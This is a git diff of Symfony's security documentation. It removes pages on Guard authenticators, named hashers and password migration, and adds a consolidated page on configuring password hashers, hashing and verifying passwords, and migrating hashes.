+            $accessControl->path('^/api')->roles(['ROLE_API_USER']);
+            $accessControl->path('^/')->roles(['ROLE_USER']);
+        };
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
deleted file mode 100644
index 7e121fcc6cc..00000000000
--- a/security/multiple_guard_authenticators.rst
+++ /dev/null
@@ -1,185 +0,0 @@
-How to Use Multiple Guard Authenticators
-========================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-The Guard authentication component allows you to use many different
-authenticators at a time.
-
-An entry point is a service id (of one of your authenticators) whose
-``start()`` method is called to start the authentication process.
-
-Multiple Authenticators with Shared Entry Point
------------------------------------------------
-
-Sometimes you want to offer your users different authentication mechanisms like
-a form login and a Facebook login while both entry points redirect the user to
-the same login page.
-However, in your configuration you have to explicitly say which entry point
-you want to use.
-
-This is how your security configuration can look in action:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                            - App\Security\FacebookConnectAuthenticator
-                        entry_point: App\Security\LoginFormAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard entry-point="App\Security\LoginFormAuthenticator">
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                        <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\FacebookConnectAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->entryPoint(LoginFormAuthenticator::class)
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                    FacebookConnectAuthenticator::class,
-                ]);
-        };
-
-There is one limitation with this approach - you have to use exactly one entry point.
-
-Multiple Authenticators with Separate Entry Points
---------------------------------------------------
-
-However, there are use cases where you have authenticators that protect different
-parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
-protected with API tokens. As you can only configure one entry point per firewall,
-the solution is to split the configuration into two separate firewalls:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                api:
-                    pattern: ^/api/
-                    guard:
-                        authenticators:
-                            - App\Security\ApiTokenAuthenticator
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-            access_control:
-                - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY }
-                - { path: '^/api', roles: ROLE_API_USER }
-                - { path: '^/', roles: ROLE_USER }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="api" pattern="^/api/">
-                    <guard>
-                        <authenticator>App\Security\ApiTokenAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard>
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <rule path="^/login" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
-                <rule path="^/api" role="ROLE_API_USER"/>
-                <rule path="^/" role="ROLE_USER"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiTokenAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('api')
-                ->pattern('^/api')
-                ->guard()
-                ->authenticators([
-                    ApiTokenAuthenticator::class,
-                ]);
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                ]);
-
-            $security->accessControl()
-                ->path('^/login')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
-            $security->accessControl()
-                ->path('^/api')
-                ->roles(['ROLE_API_USER']);
-            $security->accessControl()
-                ->path('^/')
-                ->roles(['ROLE_USER']);
-        };
-
diff --git a/security/named_hashers.rst b/security/named_hashers.rst
deleted file mode 100644
index 45ff296540e..00000000000
--- a/security/named_hashers.rst
+++ /dev/null
@@ -1,192 +0,0 @@
-.. index::
-    single: Security; Named Encoders
-
-How to Use A Different Password Hasher Algorithm Per User
-=========================================================
-
-Usually, the same password hasher is used for all users by configuring it
-to apply to all instances of a specific class:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                App\Entity\User:
-                    algorithm: auto
-                    cost: 12
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-                <security:password-hasher class="App\Entity\User"
-                    algorithm="auto"
-                    cost="12"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher(User::class)
-                ->algorithm('auto')
-                ->cost(12)
-            ;
-        };
-
-Another option is to use a "named" hasher and then select which hasher
-you want to use dynamically.
-
-In the previous example, you've set the ``auto`` algorithm for ``App\Entity\User``.
-This may be secure enough for a regular user, but what if you want your admins
-to have a stronger algorithm, for example ``auto`` with a higher cost. This can
-be done with named hashers:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                harsh:
-                    algorithm: auto
-                    cost: 15
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <security:password-hasher class="harsh"
-                    algorithm="auto"
-                    cost="15"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher('harsh')
-                ->algorithm('auto')
-                ->cost(15)
-            ;
-        };
-
-.. note::
-
-    If you are running PHP 7.2+ or have the `libsodium`_ extension installed,
-    then the recommended hashing algorithm to use is
-    :ref:`Sodium <reference-security-sodium>`.
-
-This creates a hasher named ``harsh``. In order for a ``User`` instance
-to use it, the class must implement
-:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
-The interface requires one method - ``getPasswordHasherName()`` - which should return
-the name of the hasher to use::
-
-    // src/Entity/User.php
-    namespace App\Entity;
-
-    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-
-    class User implements UserInterface, PasswordHasherAwareInterface
-    {
-        public function getPasswordHasherName(): ?string
-        {
-            if ($this->isAdmin()) {
-                return 'harsh';
-            }
-
-            return null; // use the default hasher
-        }
-    }
-
-If you created your own password hasher implementing the
-:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
-you must register a service for it in order to use it as a named hasher:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                app_hasher:
-                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <security:password_hasher class="app_hasher"
-                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\Hasher\MyCustomPasswordHasher;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher('app_hasher')
-                ->id(MyCustomPasswordHasher::class)
-            ;
-        };
-
-This creates a hasher named ``app_hasher`` from a service with the ID
-``App\Security\Hasher\MyCustomPasswordHasher``.
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/security/password_migration.rst b/security/password_migration.rst
deleted file mode 100644
index 6dfcb39cbb2..00000000000
--- a/security/password_migration.rst
+++ /dev/null
@@ -1,251 +0,0 @@
-.. index::
-    single: Security; How to Migrate a Password Hash
-
-How to Migrate a Password Hash
-==============================
-
-In order to protect passwords, it is recommended to store them using the latest
-hash algorithms. This means that if a better hash algorithm is supported on your
-system, the user's password should be *rehashed* using the newer algorithm and
-stored. That's possible with the ``migrate_from`` option:
-
-#. `Configure a new Hasher Using "migrate_from"`_
-#. `Upgrade the Password`_
-#. Optionally, `Trigger Password Migration From a Custom Hasher`_
-
-.. _configure-a-new-encoder-using migrate_from:
-
-Configure a new Hasher Using "migrate_from"
--------------------------------------------
-
-When a better hashing algorithm becomes available, you should keep the existing
-hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
-on the new hasher to point to the old, legacy hasher(s):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            password_hashers:
-                # a hasher used in the past for some users
-                legacy:
-                    algorithm: sha256
-                    encode_as_base64: false
-                    iterations: 1
-
-                App\Entity\User:
-                    # the new hasher, along with its options
-                    algorithm: sodium
-                    migrate_from:
-                        - bcrypt # uses the "bcrypt" hasher with the default options
-                        - legacy # uses the "legacy" hasher configured above
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:security="http://symfony.com/schema/dic/security"
-            xsi:schemaLocation="http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <security:config>
-                <!-- ... -->
-
-                <security:password-hasher class="legacy"
-                    algorithm="sha256"
-                    encode-as-base64="false"
-                    iterations="1"
-                />
-
-                <!-- algorithm: the new hasher, along with its options -->
-                <security:password-hasher class="App\Entity\User"
-                    algorithm="sodium"
-                >
-                    <!-- uses the bcrypt hasher with the default options -->
-                    <security:migrate-from>bcrypt</security:migrate-from>
-
-                    <!-- uses the legacy hasher configured above -->
-                    <security:migrate-from>legacy</security:migrate-from>
-                </security:password-hasher>
-            </security:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-            $security->passwordHasher('legacy')
-                ->algorithm('sha256')
-                ->encodeAsBase64(true)
-                ->iterations(1)
-            ;
-
-            $security->passwordHasher('App\Entity\User')
-                // the new hasher, along with its options
-                ->algorithm('sodium')
-                ->migrateFrom([
-                    'bcrypt', // uses the "bcrypt" hasher with the default options
-                    'legacy', // uses the "legacy" hasher configured above
-                ])
-            ;
-        };
-
-With this setup:
-
-* New users will be hashed with the new algorithm;
-* Whenever a user logs in whose password is still stored using the old algorithm,
-  Symfony will verify the password with the old algorithm and then rehash
-  and update the password using the new algorithm.
-
-.. tip::
-
-    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
-    password migration using the following list of ``migrate_from`` algorithms:
-
-    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
-    #. Message digest (which uses :phpfunction:`hash`)
-
-    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
-    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
-    hasher is used.
-
-Upgrade the Password
---------------------
-
-Upon successful login, the Security system checks whether a better algorithm
-is available to hash the user's password. If it is, it'll hash the correct
-password using the new hash. If you use a Guard authenticator, you first need to
-:ref:`provide the original password to the Security system <provide-the-password-guard>`.
-
-You can enable the upgrade behavior by implementing how this newly hashed
-password should be stored:
-
-* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
-* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
-
-After this, you're done and passwords are always hashed as secure as possible!
-
-.. _provide-the-password-guard:
-
-Provide the Password when using Guard
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When you're using a custom :doc:`guard authenticator </security/guard_authentication>`,
-you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`.
-This interface defines a ``getPassword()`` method that returns the password
-for this login request. This password is used in the migration process::
-
-    // src/Security/CustomAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    // ...
-
-    class CustomAuthenticator extends AbstractGuardAuthenticator implements PasswordAuthenticatedInterface
-    {
-        // ...
-
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-    }
-
-.. _upgrade-the-password-doctrine:
-
-Upgrade the Password when using Doctrine
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using the :ref:`entity user provider <security-entity-user-provider>`, implement
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
-create this class if it's not already created). This interface implements
-storing the newly created password hash::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
-        {
-            // set the new hashed password on the User object
-            $user->setPassword($newHashedPassword);
-
-            // execute the queries on the database
-            $this->getEntityManager()->flush();
-        }
-    }
-
-.. _upgrade-the-password-custom-provider:
-
-Upgrade the Password when using a Custom User Provider
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you're using a :ref:`custom user provider <custom-user-provider>`, implement the
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the user provider::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
-        {
-            // set the new hashed password on the User object
-            $user->setPassword($newHashedPassword);
-
-            // ... store the new password
-        }
-    }
-
-.. _trigger-password-migration-from-a-custom-encoder:
-
-Trigger Password Migration From a Custom Hasher
------------------------------------------------
-
-If you're using a custom password hasher, you can trigger the password
-migration by returning ``true`` in the ``needsRehash()`` method::
-
-    // src/Security/CustomPasswordHasher.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
-
-    class CustomPasswordHasher implements UserPasswordHasherInterface
-    {
-        // ...
-
-        public function needsRehash(string $hashed): bool
-        {
-            // check whether the current password is hashed using an outdated hasher
-            $hashIsOutdated = ...;
-
-            return $hashIsOutdated;
-        }
-    }
-
-.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
diff --git a/security/passwords.rst b/security/passwords.rst
new file mode 100644
index 00000000000..25c24354568
--- /dev/null
+++ b/security/passwords.rst
@@ -0,0 +1,782 @@
+Password Hashing and Verification
+=================================
+
+Most applications use passwords to login users. These passwords should be
+hashed to securely store them. Symfony's PasswordHasher component provides
+all utilities to safely hash and verify passwords.
+
+Make sure it is installed by running:
+
+.. code-block:: terminal
+
+   $ composer require symfony/password-hasher
+
+.. versionadded:: 5.3
+
+   The PasswordHasher component was introduced in 5.3. Prior to this
+   version, password hashing functionality was provided by the Security
+   component.
+
+Configuring a Password Hasher
+-----------------------------
+
+Before hashing passwords, you must configure a hasher using the
+``password_hashers`` option. You must configure the *hashing algorithm* and
+optionally some *algorithm options*:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # auto hasher with default options for the User class (and children)
+                App\Entity\User: 'auto'
+
+                # auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface:
+                    algorithm: 'auto'
+                    cost:      15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <!-- auto hasher with default options for the User class (and children) -->
+                <security:password-hasher
+                    class="App\Entity\User"
+                    algorithm="auto"
+                />
+
+                <!-- auto hasher with custom options for all PasswordAuthenticatedUserInterface instances -->
+                <security:password-hasher
+                    class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface"
+                    algorithm="auto"
+                    cost="15"
+                />
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            // auto hasher with default options for the User class (and children)
+            $security->passwordHasher(User::class)
+                ->algorithm('auto');
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
+                ->algorithm('auto')
+                ->cost(15);
+        };
+
+    .. code-block:: php-standalone
+
+        use App\Entity\User;
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // auto hasher with default options for the User class (and children)
+            User::class => ['algorithm' => 'auto'],
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            User::class => [
+                'algorithm' => 'auto',
+                'cost' => 15,
+            ],
+        ]);
+
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+In this example, the "auto" algorithm is used. This hasher automatically
+selects the most secure algorithm available on your system. Combined with
+:ref:`password migration <security-password-migration>`, this allows you to
+always secure passwords in the safest way possible (even when new
+algorithms are introduced in future PHP releases).
+
+Further in this article, you can find a
+:ref:`full reference of all supported algorithms <passwordhasher-supported-algorithms>`.
+
+.. tip::
+
+    Hashing passwords is resource intensive and takes time in order to
+    generate secure password hashes. In general, this makes your password
+    hashing more secure.
+
+    In tests however, secure hashes are not important, so you can change
+    the password hasher configuration in ``test`` environment to run tests
+    faster:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/test/security.yaml
+            password_hashers:
+                # Use your user class name here
+                App\Entity\User:
+                    algorithm: plaintext # disable hashing (only do this in tests!)
+
+                # or use the lowest possible values
+                App\Entity\User:
+                    algorithm: auto # This should be the same value as in config/packages/security.yaml
+                    cost: 4 # Lowest possible value for bcrypt
+                    time_cost: 3 # Lowest possible value for argon
+                    memory_cost: 10 # Lowest possible value for argon
+
+        .. code-block:: xml
+
+            <!-- config/packages/test/security.xml -->
+            <?xml version="1.0" encoding="UTF-8"?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <config>
+                    <!-- class: Use your user class name here -->
+                    <!-- algorithm: disable hashing (only do this in tests!) -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="plaintext"
+                    />
+
+                    <!-- or use the lowest possible values -->
+                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
+                    <!-- cost: Lowest possible value for bcrypt -->
+                    <!-- time_cost: Lowest possible value for argon -->
+                    <!-- memory_cost: Lowest possible value for argon -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="auto"
+                        cost="4"
+                        time_cost="3"
+                        memory_cost="10"
+                    />
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/test/security.php
+            use App\Entity\User;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ...
+
+                // Use your user class name here
+                $security->passwordHasher(User::class)
+                    ->algorithm('plaintext'); // disable hashing (only do this in tests!)
+
+                // or use the lowest possible values
+                $security->passwordHasher(User::class)
+                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                    ->cost(4) // Lowest possible value for bcrypt
+                    ->timeCost(2) // Lowest possible value for argon
+                    ->memoryCost(10) // Lowest possible value for argon
+                ;
+            };
+
+Hashing the Password
+--------------------
+
+After configuring the correct algorithm, you can use the
+``UserPasswordHasherInterface`` to hash and verify the passwords:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // src/Controller/RegistrationController.php
+        namespace App\Controller;
+
+        // ...
+        use
+        Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
+        use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+        class UserController extends AbstractController
+        {
+            public function registration(UserPasswordHasherInterface $passwordHasher)
+            {
+                // ... e.g. get the user data from a registration form
+                $user = new User(...);
+                $plaintextPassword = ...;
+
+                // hash the password (based on the security.yaml config for the $user class)
+                $hashedPassword = $passwordHasher->hash(
+                    $user,
+                    $plaintextPassword
+                );
+                $user->setPassword($hashedPassword);
+
+                // ...
+            }
+
+            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user)
+            {
+                // ... e.g. get the password from a "confirm deletion" dialog
+                $plaintextPassword = ...;
+
+                if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+                    throw new AccessDeniedHttpException();
+                }
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasher = new UserPasswordHasher($passwordHasherFactory);
+
+        // Get the user password (e.g. from a registration form)
+        $user = new User(...);
+        $plaintextPassword = ...;
+
+        // hash the password (based on the password hasher factory config for the $user class)
+        $hashedPassword = $passwordHasher->hash(
+            $user,
+            $plaintextPassword
+        );
+        $user->setPassword($hashedPassword);
+
+        // In another action (e.g. to confirm deletion), you can verify the password
+        $plaintextPassword = ...;
+        if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+            throw new \Exception('Bad credentials, cannot delete this user.');
+        }
+
+Reset Password
+--------------
+
+Using `MakerBundle`_ and `SymfonyCastsResetPasswordBundle`_, you can create
+a secure out of the box solution to handle forgotten passwords. First,
+install the SymfonyCastsResetPasswordBundle:
+
+.. code-block:: terminal
+
+    $ composer require symfonycasts/reset-password-bundle
+
+Then, use the ``make:reset-password`` command. This asks you a few
+questions about your app and generates all the files you need! After,
+you'll see a success message and a list of any other steps you need to do.
+
+.. code-block:: terminal
+
+    $ php bin/console make:reset-password
+
+You can customize the reset password bundle's behavior by updating the
+``reset_password.yaml`` file. For more information on the configuration,
+check out the `SymfonyCastsResetPasswordBundle`_  guide.
+
+.. _security-password-migration:
+
+Password Migration
+------------------
+
+In order to protect passwords, it is recommended to store them using the latest
+hash algorithms. This means that if a better hash algorithm is supported on your
+system, the user's password should be *rehashed* using the newer algorithm and
+stored. That's possible with the ``migrate_from`` option:
+
+#. `Configure a new Hasher Using "migrate_from"`_
+#. `Upgrade the Password`_
+#. Optionally, `Trigger Password Migration From a Custom Hasher`_
+
+Configure a new Hasher Using "migrate_from"
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a better hashing algorithm becomes available, you should keep the existing
+hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
+on the new hasher to point to the old, legacy hasher(s):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # a hasher used in the past for some users
+                legacy:
+                    algorithm: sha256
+                    encode_as_base64: false
+                    iterations: 1
+
+                App\Entity\User:
+                    # the new hasher, along with its options
+                    algorithm: sodium
+                    migrate_from:
+                        - bcrypt # uses the "bcrypt" hasher with the default options
+                        - legacy # uses the "legacy" hasher configured above
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:security="http://symfony.com/schema/dic/security"
+            xsi:schemaLocation="http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <security:config>
+                <!-- ... -->
+
+                <security:password-hasher class="legacy"
+                    algorithm="sha256"
+                    encode-as-base64="false"
+                    iterations="1"
+                />
+
+                <!-- algorithm: the new hasher, along with its options -->
+                <security:password-hasher class="App\Entity\User"
+                    algorithm="sodium"
+                >
+                    <!-- uses the bcrypt hasher with the default options -->
+                    <security:migrate-from>bcrypt</security:migrate-from>
+
+                    <!-- uses the legacy hasher configured above -->
+                    <security:migrate-from>legacy</security:migrate-from>
+                </security:password-hasher>
+            </security:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('legacy')
+                ->algorithm('sha256')
+                ->encodeAsBase64(true)
+                ->iterations(1)
+            ;
+
+            $security->passwordHasher('App\Entity\User')
+                // the new hasher, along with its options
+                ->algorithm('sodium')
+                ->migrateFrom([
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ])
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasherFactory = new PasswordHasherFactory([
+            'legacy' => [
+                'algorithm' => 'sha256',
+                'encode_as_base64' => true,
+                'iterations' => 1,
+            ],
+
+            User::class => [
+                // the new hasher, along with its options
+                'algorithm' => 'sodium',
+                'migrate_from' => [
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ],
+            ],
+        ]);
+
+With this setup:
+
+* New users will be hashed with the new algorithm;
+* Whenever a user logs in whose password is still stored using the old algorithm,
+  Symfony will verify the password with the old algorithm and then rehash
+  and update the password using the new algorithm.
+
+.. tip::
+
+    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
+    password migration using the following list of ``migrate_from`` algorithms:
+
+    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
+    #. Message digest (which uses :phpfunction:`hash`)
+
+    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
+    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
+    hasher is used.
+
